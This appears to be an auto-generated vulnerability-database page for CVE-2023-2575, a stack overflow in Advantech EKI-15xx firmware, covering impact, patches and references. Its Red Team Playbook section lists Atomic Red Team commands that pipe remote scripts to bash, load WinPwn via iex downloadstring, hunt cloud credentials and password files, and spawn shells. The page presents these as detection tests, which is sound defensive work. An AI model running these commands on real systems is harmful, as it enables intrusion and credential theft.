CVE-2023-2575
Overview
This vulnerability is a stack-based buffer overflow affecting Advantech EKI-1524, EKI-1522, and EKI-1521 devices running firmware up to version 1.21. The flaw arises from improper bounds checking of input data in the device's HTTP POST request handling mechanism. Specifically, an authenticated user can trigger the overflow by sending a crafted POST request to a vulnerable endpoint, leading to memory corruption in the device's firmware processing component.
Vulnerability Description
Advantech EKI-1524, EKI-1522, EKI-1521 devices through 1.21 are affected by a Stack-based Buffer Overflow vulnerability, which can be triggered by authenticated users via a crafted POST request.
Impact
An attacker with valid authentication credentials can exploit this vulnerability to execute arbitrary code with the privileges of the affected device's firmware process. This can lead to full compromise of the device, including unauthorized control over network traffic or disruption of industrial operations. The attack requires network access and valid user authentication (CVSS vector PR:L), but no user interaction beyond sending crafted POST requests. The impact includes potential loss of confidentiality, integrity, and availability of the device and connected systems.
Solution
Advantech has released firmware updates addressing this vulnerability for the EKI-1521, EKI-1522, and EKI-1524 devices. Users should upgrade to the latest firmware versions available via the official Advantech support pages: firmware IDs 1-1J9BED3, 1-1J9BEBL, and 1-1J9BECT. Detailed patch instructions and firmware downloads are provided at https://www.advantech.com/en/support/details/firmware. Applying these updates is the recommended remediation to eliminate the buffer overflow flaw.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability affecting Advantech's EKI-1524, EKI-1522, and EKI-1521 devices is characterized by a stack-based buffer overflow, a critical flaw that can be exploited through crafted POST requests by authenticated users. This type of vulnerability occurs when a program writes more data to a buffer located on the stack than it can hold, leading to adjacent memory locations being overwritten. In this case, the flaw exists in the handling of input data, which allows an attacker to manipulate the stack memory, potentially leading to arbitrary code execution. The affected firmware versions prior to 1.21 are particularly susceptible, making it imperative for users to understand the underlying technical details to assess their risk.
Exploitation of this vulnerability can occur in various scenarios, particularly in environments where the affected devices are deployed. An authenticated user, who may have legitimate access to the device, could craft a malicious POST request that exceeds the expected buffer size. This crafted input could overwrite critical control data, such as return addresses or function pointers, allowing the attacker to execute arbitrary code with the privileges of the compromised application. Given that these devices are often used in industrial settings, the potential for an insider threat or a compromised account to exploit this vulnerability is significant, raising concerns about the integrity and availability of critical systems.
The real-world impact of this vulnerability can be profound, especially considering the critical role that Advantech devices play in industrial automation and network management. Successful exploitation could lead to unauthorized access, data breaches, or even the disruption of essential services. For businesses, the risks extend beyond immediate operational disruptions; they include potential regulatory penalties, reputational damage, and financial losses resulting from downtime or remediation efforts. The high CVSS score of 8.8 underscores the severity of the threat, indicating that organizations must prioritize addressing this vulnerability to safeguard their infrastructure.
Detection and mitigation strategies are essential for organizations utilizing these devices. Regularly updating the firmware to the latest version is the most effective way to mitigate the risk associated with this vulnerability. Additionally, implementing network segmentation can limit the exposure of these devices to untrusted networks, thereby reducing the likelihood of exploitation. Organizations should also consider deploying intrusion detection systems (IDS) that can monitor for unusual POST requests or other anomalous behaviors indicative of an attempted exploit. Furthermore, conducting regular security audits and vulnerability assessments can help identify potential weaknesses in the network and ensure that appropriate security controls are in place.
In conclusion, the stack-based buffer overflow vulnerability in Advantech's EKI series devices represents a significant threat to industrial environments. Understanding the technical details, potential attack vectors, and real-world implications is crucial for organizations to effectively manage their cybersecurity posture. By implementing robust detection and mitigation strategies, businesses can reduce their risk and enhance their resilience against such vulnerabilities, ultimately protecting their critical infrastructure from potential exploitation.
Affected Products (3)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Advantech | Eki-1521 Firmware | All |
cpe:2.3:o:advantech:eki-1521_firmware:*:*:*:*:*:*:*:*
|
|
|
Advantech | Eki-1522 Firmware | All |
cpe:2.3:o:advantech:eki-1522_firmware:*:*:*:*:*:*:*:*
|
|
|
Advantech | Eki-1524 Firmware | All |
cpe:2.3:o:advantech:eki-1524_firmware:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (7)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-2575 |
| advantech.com |
GitHub CVE
patch
|
https://www.advantech.com/en/support/details/firmware?id=1-1J9BED3 |
| advantech.com |
GitHub CVE
patch
|
https://www.advantech.com/en/support/details/firmware?id=1-1J9BEBL |
| advantech.com |
GitHub CVE
patch
|
https://www.advantech.com/en/support/details/firmware?id=1-1J9BECT |
| cyberdanube.com |
GitHub CVE
third-party-advisory
|
https://cyberdanube.com/en/multiple-vulnerabilities-in-advantech-eki-15xx-series/ |
| seclists.org |
GitHub CVE
|
http://seclists.org/fulldisclosure/2023/May/4 |
| packetstormsecurity.com |
GitHub CVE
|
http://packetstormsecurity.com/files/172307/Advantech-EKI-15XX-Series-Command-Injection-Buffer-Overflow.html |